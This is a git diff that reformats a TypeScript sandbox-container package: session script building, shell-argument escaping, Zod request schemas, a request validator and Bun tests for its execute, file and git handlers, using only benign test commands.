- new Promise((_, reject) => setTimeout(() => reject(new Error('Timeout')), 1000)) + new Promise((_, reject) => + setTimeout(() => reject(new Error('Timeout')), 1000) + ) ]); } catch { // Timeout: force kill with SIGKILL @@ -549,7 +584,9 @@ export class Session { // Clean up session directory if (this.sessionDir) { - await rm(this.sessionDir, { recursive: true, force: true }).catch(() => {}); + await rm(this.sessionDir, { recursive: true, force: true }).catch( + () => {} + ); } this.ready = false; @@ -617,8 +654,6 @@ export class Session { script += ` \n`; } - - // Execute command based on execution mode (foreground vs background) if (isBackground) { // BACKGROUND PATTERN (for execStream/startProcess) @@ -676,8 +711,8 @@ export class Session { script += ` # Write PID for process killing\n`; script += ` echo "$CMD_PID" > ${safePidFile}.tmp\n`; script += ` mv ${safePidFile}.tmp ${safePidFile}\n`; - script += ` # Background monitor: waits for labelers to finish (after FIFO EOF)\n`; - script += ` # and then removes the FIFOs. PID file is cleaned up by TypeScript.\n`; + script += ` # Background monitor: waits for labelers to finish (after FIFO EOF)\n`; + script += ` # and then removes the FIFOs. PID file is cleaned up by TypeScript.\n`; script += ` (\n`; script += ` wait "$r1" "$r2" 2>/dev/null\n`; script += ` rm -f "$sp" "$ep"\n`; @@ -691,7 +726,6 @@ export class Session { // Use bash process substitution to prefix stdout/stderr while keeping // execution in the main shell so session state persists across commands. - if (cwd) { const safeCwd = this.escapeShellPath(cwd); script += ` # Save and change directory\n`; @@ -787,39 +821,46 @@ export class Session { resolved = true; watcher.close(); clearInterval(pollInterval); - reject(new Error(`Command timeout after ${this.commandTimeoutMs}ms`)); + reject( + new Error(`Command timeout after ${this.commandTimeoutMs}ms`) + ); } }, this.commandTimeoutMs); } // STEP 4: Check if file already exists - Bun.file(exitCodeFile).exists().then(async (exists) => { - if (exists && !resolved) { - resolved = true; - watcher.close(); - clearInterval(pollInterval); - try { - const exitCode = await Bun.file(exitCodeFile).text(); - resolve(parseInt(exitCode.trim(), 10)); - } catch (error) { - reject(new Error(`Failed to read exit code: ${error}`)); + Bun.file(exitCodeFile) + .exists() + .then(async (exists) => { + if (exists && !resolved) { + resolved = true; + watcher.close(); + clearInterval(pollInterval); + try { + const exitCode = await Bun.file(exitCodeFile).text(); + resolve(parseInt(exitCode.trim(), 10)); + } catch (error) { + reject(new Error(`Failed to read exit code: ${error}`)); + } } - } - }).catch((error) => { - if (!resolved) { - resolved = true; - watcher.close(); - clearInterval(pollInterval); - reject(error); - } - }); + }) + .catch((error) => { + if (!resolved) { + resolved = true; + watcher.close(); + clearInterval(pollInterval); + reject(error); + } + }); }); } /** * Parse log file and separate stdout/stderr using binary prefixes */ - private async parseLogFile(logFile: string): Promise<{ stdout: string; stderr: string }> { + private async parseLogFile( + logFile: string + ): Promise<{ stdout: string; stderr: string }> { const file = Bun.file(logFile); if (!(await file.exists())) { @@ -850,14 +891,17 @@ export class Session { return { stdout: stdoutLines.join('\n'), - stderr: stderrLines.join('\n'), + stderr: stderrLines.join('\n') }; } /** * Clean up command temp files */ - private async cleanupCommandFiles(logFile: string, exitCodeFile: string): Promise { + private async cleanupCommandFiles( + logFile: string, + exitCodeFile: string + ): Promise { // Derive PID file from log file const pidFile = logFile.replace('.log', '.pid'); @@ -900,12 +944,17 @@ export class Session { /** * Track a command when it starts */ - private trackCommand(commandId: string, pidFile: string, logFile: string, exitCodeFile: string): void { + private trackCommand( + commandId: string, + pidFile: string, + logFile: string, + exitCodeFile: string + ): void { const handle: CommandHandle = { commandId, pidFile, logFile, - exitCodeFile, + exitCodeFile }; this.runningCommands.set(commandId, handle); } diff --git a/packages/sandbox-container/src/shell-escape.ts b/packages/sandbox-container/src/shell-escape.ts index 91e14f52..983a0752 100644 --- a/packages/sandbox-container/src/shell-escape.ts +++ b/packages/sandbox-container/src/shell-escape.ts @@ -5,7 +5,7 @@ /** * Escapes a string for safe use in shell commands. * This follows POSIX shell escaping rules to prevent command injection. - * + * * @param str - The string to escape * @returns The escaped string safe for shell use */ @@ -29,14 +29,14 @@ export function escapeShellArg(str: string): string { /** * Escapes a file path for safe use in shell commands. - * + * * @param path - The file path to escape * @returns The escaped path safe for shell use */ export function escapeShellPath(path: string): string { // Normalize path to prevent issues with multiple slashes const normalizedPath = path.replace(/\/+/g, '/'); - + // Apply standard shell escaping return escapeShellArg(normalizedPath); -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/validation/request-validator.ts b/packages/sandbox-container/src/validation/request-validator.ts index 4ab967d8..bd2e294c 100644 --- a/packages/sandbox-container/src/validation/request-validator.ts +++ b/packages/sandbox-container/src/validation/request-validator.ts @@ -16,7 +16,7 @@ import { FileRequestSchemas, type GitCheckoutRequest, GitCheckoutRequestSchema, - StartProcessRequestSchema, + StartProcessRequestSchema } from './schemas'; export class RequestValidator { @@ -30,11 +30,11 @@ export class RequestValidator { if (!parseResult.success) { return { isValid: false, - errors: parseResult.error.issues.map(issue => ({ + errors: parseResult.error.issues.map((issue) => ({ field: issue.path.join('.') || 'request', message: issue.message, - code: issue.code, - })), + code: issue.code + })) }; } @@ -42,11 +42,14 @@ export class RequestValidator { return { isValid: true, data: parseResult.data, - errors: [], + errors: [] }; } - validateFileRequest(request: unknown, operation: FileOperation): ValidationResult { + validateFileRequest( + request: unknown, + operation: FileOperation + ): ValidationResult { // Get the appropriate schema for the operation const schema = FileRequestSchemas[operation]; const parseResult = schema.safeParse(request); @@ -54,11 +57,11 @@ export class RequestValidator { if (!parseResult.success) { return { isValid: false, - errors: parseResult.error.issues.map(issue => ({ + errors: parseResult.error.issues.map((issue) => ({ field: issue.path.join('.') || 'request', message: issue.message, - code: issue.code, - })), + code: issue.code + })) }; } @@ -66,21 +69,23 @@ export class RequestValidator { return { isValid: true, data: parseResult.data as T, - errors: [], + errors: [] }; } - validateProcessRequest(request: unknown): ValidationResult { + validateProcessRequest( + request: unknown + ): ValidationResult { const parseResult = StartProcessRequestSchema.safeParse(request); if (!parseResult.success) { return { isValid: false, - errors: parseResult.error.issues.map(issue => ({ + errors: parseResult.error.issues.map((issue) => ({ field: issue.path.join('.') || 'request', message: issue.message, - code: issue.code, - })), + code: issue.code + })) }; } @@ -88,7 +93,7 @@ export class RequestValidator { return { isValid: true, data: parseResult.data, - errors: [], + errors: [] }; } @@ -98,11 +103,11 @@ export class RequestValidator { if (!parseResult.success) { return { isValid: false, - errors: parseResult.error.issues.map(issue => ({ + errors: parseResult.error.issues.map((issue) => ({ field: issue.path.join('.') || 'request', message: issue.message, - code: issue.code, - })), + code: issue.code + })) }; } @@ -110,7 +115,7 @@ export class RequestValidator { return { isValid: true, data: parseResult.data, - errors: [], + errors: [] }; } @@ -120,11 +125,11 @@ export class RequestValidator { if (!parseResult.success) { return { isValid: false, - errors: parseResult.error.issues.map(issue => ({ + errors: parseResult.error.issues.map((issue) => ({ field: issue.path.join('.') || 'request', message: issue.message, - code: issue.code, - })), + code: issue.code + })) }; } @@ -132,7 +137,7 @@ export class RequestValidator { return { isValid: true, data: parseResult.data, - errors: [], + errors: [] }; } } diff --git a/packages/sandbox-container/src/validation/schemas.ts b/packages/sandbox-container/src/validation/schemas.ts index 163bf0e2..5398d88a 100644 --- a/packages/sandbox-container/src/validation/schemas.ts +++ b/packages/sandbox-container/src/validation/schemas.ts @@ -9,7 +9,7 @@ export const ProcessOptionsSchema = z.object({ env: z.record(z.string()).optional(), cwd: z.string().optional(), encoding: z.string().optional(), - autoCleanup: z.boolean().optional(), + autoCleanup: z.boolean().optional() }); // Execute request schema @@ -17,53 +17,55 @@ export const ExecuteRequestSchema = z.object({ command: z.string().min(1, 'Command cannot be empty'), sessionId: z.string().optional(), background: z.boolean().optional(), - timeoutMs: z.number().positive().optional(), + timeoutMs: z.number().positive().optional() }); // File operation schemas export const ReadFileRequestSchema = z.object({ path: z.string().min(1, 'Path cannot be empty'), encoding: z.string().optional(), - sessionId: z.string().optional(), + sessionId: z.string().optional() }); export const WriteFileRequestSchema = z.object({ path: z.string().min(1, 'Path cannot be empty'), content: z.string(), encoding: z.string().optional(), - sessionId: z.string().optional(), + sessionId: z.string().optional() }); export const DeleteFileRequestSchema = z.object({ path: z.string().min(1, 'Path cannot be empty'), - sessionId: z.string().optional(), + sessionId: z.string().optional() }); export const RenameFileRequestSchema = z.object({ oldPath: z.string().min(1, 'Old path cannot be empty'), newPath: z.string().min(1, 'New path cannot be empty'), - sessionId: z.string().optional(), + sessionId: z.string().optional() }); export const MoveFileRequestSchema = z.object({ sourcePath: z.string().min(1, 'Source path cannot be empty'), destinationPath: z.string().min(1, 'Destination path cannot be empty'), - sessionId: z.string().optional(), + sessionId: z.string().optional() }); export const MkdirRequestSchema = z.object({ path: z.string().min(1, 'Path cannot be empty'), recursive: z.boolean().optional(), - sessionId: z.string().optional(), + sessionId: z.string().optional() }); export const ListFilesRequestSchema = z.object({ path: z.string().min(1, 'Path cannot be empty'), - options: z.object({ - recursive: z.boolean().optional(), - includeHidden: z.boolean().optional(), - }).optional(), - sessionId: z.string().optional(), + options: z + .object({ + recursive: z.boolean().optional(), + includeHidden: z.boolean().optional() + }) + .optional(), + sessionId: z.string().optional() }); // Process management schemas @@ -76,14 +78,14 @@ export const StartProcessRequestSchema = z.object({ env: z.record(z.string()).optional(), cwd: z.string().optional(), encoding: z.string().optional(), - autoCleanup: z.boolean().optional(), + autoCleanup: z.boolean().optional() }); // Port management schemas // Phase 0: Allow all ports 1-65535 (services will validate - only port 3000 is blocked) export const ExposePortRequestSchema = z.object({ port: z.number().int().min(1).max(65535, 'Port must be between 1 and 65535'), - name: z.string().optional(), + name: z.string().optional() }); // Git operation schemas @@ -93,7 +95,7 @@ export const GitCheckoutRequestSchema = z.object({ repoUrl: z.string().min(1, 'Repository URL cannot be empty'), branch: z.string().optional(), targetDir: z.string().optional(), - sessionId: z.string().optional(), + sessionId: z.string().optional() }); // Infer TypeScript types from schemas - single source of truth! @@ -129,7 +131,7 @@ export const FileRequestSchemas = { rename: RenameFileRequestSchema, move: MoveFileRequestSchema, mkdir: MkdirRequestSchema, - listFiles: ListFilesRequestSchema, + listFiles: ListFilesRequestSchema } as const; -export type FileOperation = keyof typeof FileRequestSchemas; \ No newline at end of file +export type FileOperation = keyof typeof FileRequestSchemas; diff --git a/packages/sandbox-container/tests/handlers/execute-handler.test.ts b/packages/sandbox-container/tests/handlers/execute-handler.test.ts index d0ed0fa6..ba0b8574 100644 --- a/packages/sandbox-container/tests/handlers/execute-handler.test.ts +++ b/packages/sandbox-container/tests/handlers/execute-handler.test.ts @@ -1,8 +1,13 @@ -import { beforeEach, describe, expect, it, vi } from "bun:test"; +import { beforeEach, describe, expect, it, vi } from 'bun:test'; import type { ExecResult, ProcessStartResult } from '@repo/shared'; import type { ErrorResponse } from '@repo/shared/errors'; -import type { ExecuteRequest, Logger, RequestContext, ServiceResult } from '@sandbox-container/core/types.ts'; -import { ExecuteHandler } from "@sandbox-container/handlers/execute-handler.js"; +import type { + ExecuteRequest, + Logger, + RequestContext, + ServiceResult +} from '@sandbox-container/core/types.ts'; +import { ExecuteHandler } from '@sandbox-container/handlers/execute-handler.js'; import type { ProcessService } from '@sandbox-container/services/process-service.ts'; import { mocked } from '../test-utils'; @@ -13,14 +18,14 @@ const mockProcessService = { getProcess: vi.fn(), killProcess: vi.fn(), listProcesses: vi.fn(), - streamProcessLogs: vi.fn(), + streamProcessLogs: vi.fn() } as unknown as ProcessService; const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock request context @@ -30,9 +35,9 @@ const mockContext: RequestContext = { corsHeaders: { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS', - 'Access-Control-Allow-Headers': 'Content-Type', + 'Access-Control-Allow-Headers': 'Content-Type' }, - sessionId: 'session-456', + sessionId: 'session-456' }; describe('ExecuteHandler', () => { @@ -42,10 +47,7 @@ describe('ExecuteHandler', () => { // Reset all mocks before each test vi.clearAllMocks(); - executeHandler = new ExecuteHandler( - mockProcessService, - mockLogger - ); + executeHandler = new ExecuteHandler(mockProcessService, mockLogger); }); describe('handle - Regular Execution', () => { @@ -60,21 +62,32 @@ describe('ExecuteHandler', () => { stderr: '', duration: 100 } - } as ServiceResult<{ success: boolean; exitCode: number; stdout: string; stderr: string; duration: number; }>; - - mocked(mockProcessService.executeCommand).mockResolvedValue(mockCommandResult); + } as ServiceResult<{ + success: boolean; + exitCode: number; + stdout: string; + stderr: string; + duration: number; + }>; + + mocked(mockProcessService.executeCommand).mockResolvedValue( + mockCommandResult + ); const request = new Request('http://localhost:3000/api/execute', { method: 'POST', headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ command: 'echo "hello"', sessionId: 'session-456' }) + body: JSON.stringify({ + command: 'echo "hello"', + sessionId: 'session-456' + }) }); const response = await executeHandler.handle(request, mockContext); // Verify response expect(response.status).toBe(200); - const responseData = await response.json() as ExecResult; + const responseData = (await response.json()) as ExecResult; expect(responseData.success).toBe(true); expect(responseData.exitCode).toBe(0); expect(responseData.stdout).toBe('hello\\n'); @@ -102,9 +115,17 @@ describe('ExecuteHandler', () => { stderr: 'command not found: nonexistent-command', duration: 50 } - } as ServiceResult<{ success: boolean; exitCode: number; stdout: string; stderr: string; duration: number; }>; - - mocked(mockProcessService.executeCommand).mockResolvedValue(mockCommandResult); + } as ServiceResult<{ + success: boolean; + exitCode: number; + stdout: string; + stderr: string; + duration: number; + }>; + + mocked(mockProcessService.executeCommand).mockResolvedValue( + mockCommandResult + ); const request = new Request('http://localhost:3000/api/execute', { method: 'POST', @@ -116,7 +137,7 @@ describe('ExecuteHandler', () => { // Verify response - service succeeded, command failed expect(response.status).toBe(200); - const responseData = await response.json() as ExecResult; + const responseData = (await response.json()) as ExecResult; expect(responseData.success).toBe(false); // Command failed expect(responseData.exitCode).toBe(1); expect(responseData.stderr).toContain('command not found'); @@ -134,7 +155,9 @@ describe('ExecuteHandler', () => { } } as ServiceResult; - mocked(mockProcessService.executeCommand).mockResolvedValue(mockServiceError); + mocked(mockProcessService.executeCommand).mockResolvedValue( + mockServiceError + ); const request = new Request('http://localhost:3000/api/execute', { method: 'POST', @@ -146,7 +169,7 @@ describe('ExecuteHandler', () => { // Verify error response for service failure - NEW format: {code, message, context, httpStatus} expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PROCESS_ERROR'); expect(responseData.message).toContain('Failed to spawn process'); expect(responseData.httpStatus).toBe(500); @@ -170,23 +193,31 @@ describe('ExecuteHandler', () => { pid: 12345, stdout: '', stderr: '', - outputListeners: new Set<(stream: 'stdout' | 'stderr', data: string) => void>(), + outputListeners: new Set< + (stream: 'stdout' | 'stderr', data: string) => void + >(), statusListeners: new Set<(status: string) => void>() } }; - mocked(mockProcessService.startProcess).mockResolvedValue(mockProcessResult); + mocked(mockProcessService.startProcess).mockResolvedValue( + mockProcessResult + ); const request = new Request('http://localhost:3000/api/execute', { method: 'POST', headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ command: 'sleep 10', background: true, sessionId: 'session-456' }) + body: JSON.stringify({ + command: 'sleep 10', + background: true, + sessionId: 'session-456' + }) }); const response = await executeHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as ProcessStartResult; + const responseData = (await response.json()) as ProcessStartResult; expect(responseData.success).toBe(true); expect(responseData.processId).toBe('proc-123'); expect(responseData.pid).toBe(12345); @@ -208,9 +239,15 @@ describe('ExecuteHandler', () => { new ReadableStream({ start(controller) { // Simulate SSE events - controller.enqueue('data: {"type":"start","timestamp":"2023-01-01T00:00:00Z"}\\n\\n'); - controller.enqueue('data: {"type":"stdout","data":"streaming test\\n","timestamp":"2023-01-01T00:00:01Z"}\\n\\n'); - controller.enqueue('data: {"type":"complete","exitCode":0,"timestamp":"2023-01-01T00:00:02Z"}\\n\\n'); + controller.enqueue( + 'data: {"type":"start","timestamp":"2023-01-01T00:00:00Z"}\\n\\n' + ); + controller.enqueue( + 'data: {"type":"stdout","data":"streaming test\\n","timestamp":"2023-01-01T00:00:01Z"}\\n\\n' + ); + controller.enqueue( + 'data: {"type":"complete","exitCode":0,"timestamp":"2023-01-01T00:00:02Z"}\\n\\n' + ); controller.close(); } }); @@ -226,12 +263,16 @@ describe('ExecuteHandler', () => { pid: 12345, stdout: '', stderr: '', - outputListeners: new Set<(stream: 'stdout' | 'stderr', data: string) => void>(), + outputListeners: new Set< + (stream: 'stdout' | 'stderr', data: string) => void + >(), statusListeners: new Set<(status: string) => void>() } }; - mocked(mockProcessService.startProcess).mockResolvedValue(mockStreamProcessResult); + mocked(mockProcessService.startProcess).mockResolvedValue( + mockStreamProcessResult + ); const request = new Request('http://localhost:3000/api/execute/stream', { method: 'POST', diff --git a/packages/sandbox-container/tests/handlers/file-handler.test.ts b/packages/sandbox-container/tests/handlers/file-handler.test.ts index 4a83423a..023dd817 100644 --- a/packages/sandbox-container/tests/handlers/file-handler.test.ts +++ b/packages/sandbox-container/tests/handlers/file-handler.test.ts @@ -1,4 +1,4 @@ -import { beforeEach, describe, expect, it, vi } from "bun:test"; +import { beforeEach, describe, expect, it, vi } from 'bun:test'; import type { DeleteFileResult, FileExistsResult, @@ -6,11 +6,11 @@ import type { MoveFileResult, ReadFileResult, RenameFileResult, - WriteFileResult, -} from "@repo/shared"; -import type { ErrorResponse } from "@repo/shared/errors"; + WriteFileResult +} from '@repo/shared'; +import type { ErrorResponse } from '@repo/shared/errors'; import type { Logger, RequestContext } from '@sandbox-container/core/types'; -import { FileHandler } from "@sandbox-container/handlers/file-handler"; +import { FileHandler } from '@sandbox-container/handlers/file-handler'; import type { FileService } from '@sandbox-container/services/file-service'; // Mock the dependencies - use partial mock to avoid missing properties @@ -29,7 +29,7 @@ const mockFileService = { mkdir: vi.fn(), exists: vi.fn(), stat: vi.fn(), - getFileStats: vi.fn(), + getFileStats: vi.fn() // Remove private properties to avoid type conflicts } as unknown as FileService; @@ -37,7 +37,7 @@ const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock request context @@ -47,9 +47,9 @@ const mockContext: RequestContext = { corsHeaders: { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS', - 'Access-Control-Allow-Headers': 'Content-Type', + 'Access-Control-Allow-Headers': 'Content-Type' }, - sessionId: 'session-456', + sessionId: 'session-456' }; describe('FileHandler', () => { @@ -84,7 +84,7 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as ReadFileResult; + const responseData = (await response.json()) as ReadFileResult; expect(responseData.success).toBe(true); expect(responseData.content).toBe(fileContent); expect(responseData.path).toBe('/tmp/test.txt'); @@ -116,7 +116,7 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as ReadFileResult; + const responseData = (await response.json()) as ReadFileResult; expect(responseData.success).toBe(true); expect(responseData.content).toBeDefined(); expect(responseData.path).toBe('/tmp/test.txt'); @@ -148,7 +148,7 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('FILE_NOT_FOUND'); expect(responseData.message).toBe('File not found'); expect(responseData.httpStatus).toBe(404); @@ -177,15 +177,19 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as WriteFileResult; + const responseData = (await response.json()) as WriteFileResult; expect(responseData.success).toBe(true); expect(responseData.path).toBe('/tmp/output.txt'); // โœ… Check path field expect(responseData.timestamp).toBeDefined(); // Verify service was called correctly - expect(mockFileService.writeFile).toHaveBeenCalledWith('/tmp/output.txt', 'Hello, File!', { - encoding: 'utf-8' - }); + expect(mockFileService.writeFile).toHaveBeenCalledWith( + '/tmp/output.txt', + 'Hello, File!', + { + encoding: 'utf-8' + } + ); }); it('should handle file write errors', async () => { @@ -212,7 +216,7 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(403); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PERMISSION_DENIED'); expect(responseData.message).toBe('Permission denied'); expect(responseData.httpStatus).toBe(403); @@ -239,12 +243,14 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as DeleteFileResult; + const responseData = (await response.json()) as DeleteFileResult; expect(responseData.success).toBe(true); expect(responseData.path).toBe('/tmp/delete-me.txt'); // โœ… Check path field expect(responseData.timestamp).toBeDefined(); - expect(mockFileService.deleteFile).toHaveBeenCalledWith('/tmp/delete-me.txt'); + expect(mockFileService.deleteFile).toHaveBeenCalledWith( + '/tmp/delete-me.txt' + ); }); it('should handle file delete errors', async () => { @@ -267,7 +273,7 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('FILE_NOT_FOUND'); expect(responseData.message).toBe('File not found'); expect(responseData.httpStatus).toBe(404); @@ -295,13 +301,16 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as RenameFileResult; + const responseData = (await response.json()) as RenameFileResult; expect(responseData.success).toBe(true); expect(responseData.path).toBe('/tmp/old-name.txt'); expect(responseData.newPath).toBe('/tmp/new-name.txt'); expect(responseData.timestamp).toBeDefined(); - expect(mockFileService.renameFile).toHaveBeenCalledWith('/tmp/old-name.txt', '/tmp/new-name.txt'); + expect(mockFileService.renameFile).toHaveBeenCalledWith( + '/tmp/old-name.txt', + '/tmp/new-name.txt' + ); }); it('should handle file rename errors', async () => { @@ -327,7 +336,7 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(404); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('FILE_NOT_FOUND'); expect(responseData.message).toBe('Source file not found'); expect(responseData.httpStatus).toBe(404); @@ -355,13 +364,16 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as MoveFileResult; + const responseData = (await response.json()) as MoveFileResult; expect(responseData.success).toBe(true); expect(responseData.path).toBe('/tmp/source.txt'); expect(responseData.newPath).toBe('/tmp/destination.txt'); expect(responseData.timestamp).toBeDefined(); - expect(mockFileService.moveFile).toHaveBeenCalledWith('/tmp/source.txt', '/tmp/destination.txt'); + expect(mockFileService.moveFile).toHaveBeenCalledWith( + '/tmp/source.txt', + '/tmp/destination.txt' + ); }); it('should handle file move errors', async () => { @@ -387,7 +399,7 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(403); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PERMISSION_DENIED'); expect(responseData.message).toBe('Permission denied on destination'); expect(responseData.httpStatus).toBe(403); @@ -415,15 +427,18 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as MkdirResult; + const responseData = (await response.json()) as MkdirResult; expect(responseData.success).toBe(true); expect(responseData.path).toBe('/tmp/new-directory'); expect(responseData.recursive).toBe(true); expect(responseData.timestamp).toBeDefined(); - expect(mockFileService.createDirectory).toHaveBeenCalledWith('/tmp/new-directory', { - recursive: true - }); + expect(mockFileService.createDirectory).toHaveBeenCalledWith( + '/tmp/new-directory', + { + recursive: true + } + ); }); it('should create directory without recursive option', async () => { @@ -445,15 +460,18 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as MkdirResult; + const responseData = (await response.json()) as MkdirResult; expect(responseData.success).toBe(true); expect(responseData.path).toBe('/tmp/simple-dir'); expect(responseData.recursive).toBe(false); expect(responseData.timestamp).toBeDefined(); - expect(mockFileService.createDirectory).toHaveBeenCalledWith('/tmp/simple-dir', { - recursive: undefined - }); + expect(mockFileService.createDirectory).toHaveBeenCalledWith( + '/tmp/simple-dir', + { + recursive: undefined + } + ); }); it('should handle directory creation errors', async () => { @@ -479,7 +497,7 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(403); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('PERMISSION_DENIED'); expect(responseData.message).toBe('Permission denied'); expect(responseData.httpStatus).toBe(403); @@ -508,13 +526,16 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as FileExistsResult; + const responseData = (await response.json()) as FileExistsResult; expect(responseData.success).toBe(true); expect(responseData.exists).toBe(true); expect(responseData.path).toBe('/tmp/test.txt'); expect(responseData.timestamp).toBeDefined(); - expect(mockFileService.exists).toHaveBeenCalledWith('/tmp/test.txt', 'session-123'); + expect(mockFileService.exists).toHaveBeenCalledWith( + '/tmp/test.txt', + 'session-123' + ); }); it('should return false when file does not exist', async () => { @@ -537,7 +558,7 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(200); - const responseData = await response.json() as FileExistsResult; + const responseData = (await response.json()) as FileExistsResult; expect(responseData.success).toBe(true); expect(responseData.exists).toBe(false); }); @@ -566,21 +587,24 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(400); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('VALIDATION_FAILED'); }); }); describe('route handling', () => { it('should return 500 for invalid endpoints', async () => { - const request = new Request('http://localhost:3000/api/invalid-operation', { - method: 'POST' - }); + const request = new Request( + 'http://localhost:3000/api/invalid-operation', + { + method: 'POST' + } + ); const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toContain('Invalid file endpoint'); expect(responseData.httpStatus).toBe(500); @@ -595,7 +619,7 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.status).toBe(500); - const responseData = await response.json() as ErrorResponse; + const responseData = (await response.json()) as ErrorResponse; expect(responseData.code).toBe('UNKNOWN_ERROR'); expect(responseData.message).toContain('Invalid file endpoint'); expect(responseData.httpStatus).toBe(500); @@ -621,8 +645,12 @@ describe('FileHandler', () => { const response = await fileHandler.handle(request, mockContext); expect(response.headers.get('Access-Control-Allow-Origin')).toBe('*'); - expect(response.headers.get('Access-Control-Allow-Methods')).toBe('GET, POST, OPTIONS'); - expect(response.headers.get('Access-Control-Allow-Headers')).toBe('Content-Type'); + expect(response.headers.get('Access-Control-Allow-Methods')).toBe( + 'GET, POST, OPTIONS' + ); + expect(response.headers.get('Access-Control-Allow-Headers')).toBe( + 'Content-Type' + ); }); it('should include CORS headers in error responses', async () => { @@ -667,21 +695,33 @@ describe('FileHandler', () => { // Mock appropriate service method if (operation.endpoint === '/api/read') { - (mockFileService.readFile as any).mockResolvedValue(operation.mockResponse); + (mockFileService.readFile as any).mockResolvedValue( + operation.mockResponse + ); } else if (operation.endpoint === '/api/write') { - (mockFileService.writeFile as any).mockResolvedValue(operation.mockResponse); + (mockFileService.writeFile as any).mockResolvedValue( + operation.mockResponse + ); } else if (operation.endpoint === '/api/delete') { - (mockFileService.deleteFile as any).mockResolvedValue(operation.mockResponse); + (mockFileService.deleteFile as any).mockResolvedValue( + operation.mockResponse + ); } - const request = new Request(`http://localhost:3000${operation.endpoint}`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(operation.data) - }); + const request = new Request( + `http://localhost:3000${operation.endpoint}`, + { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(operation.data) + } + ); const response = await fileHandler.handle(request, mockContext); - const responseData = await response.json() as ReadFileResult | WriteFileResult | DeleteFileResult; + const responseData = (await response.json()) as + | ReadFileResult + | WriteFileResult + | DeleteFileResult; // Check that all expected fields are present for (const field of operation.expectedFields) { diff --git a/packages/sandbox-container/tests/handlers/git-handler.test.ts b/packages/sandbox-container/tests/handlers/git-handler.test.ts index 9f3b6362..e5187d5a 100644 --- a/packages/sandbox-container/tests/handlers/git-handler.test.ts +++ b/packages/sandbox-container/tests/handlers/git-handler.test.ts @@ -1,4 +1,4 @@ -import { beforeEach, describe, expect, it, vi } from "bun:test"; +import { beforeEach, describe, expect, it, vi } from 'bun:test'; import type { GitCheckoutResult } from '@repo/shared'; import type { ErrorResponse } from '@repo/shared/errors'; import type { Logger, RequestContext } from '@sandbox-container/core/types.ts'; @@ -10,14 +10,14 @@ const mockGitService = { cloneRepository: vi.fn(), checkoutBranch: vi.fn(), getCurrentBranch: vi.fn(), - listBranches: vi.fn(), + listBranches: vi.fn() } as unknown as GitService; const mockLogger: Logger = { info: vi.fn(), error: vi.fn(), warn: vi.fn(), - debug: vi.fn(), + debug: vi.fn() }; // Mock request context @@ -27,9 +27,9 @@ const mockContext: RequestContext = { corsHeaders: { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS', - 'Access-Control-Allow-Headers': 'Content-Type', + 'Access-Control-Allow-Headers': 'Content-Type' }, - sessionId: 'session-456', + sessionId: 'session-456' }; 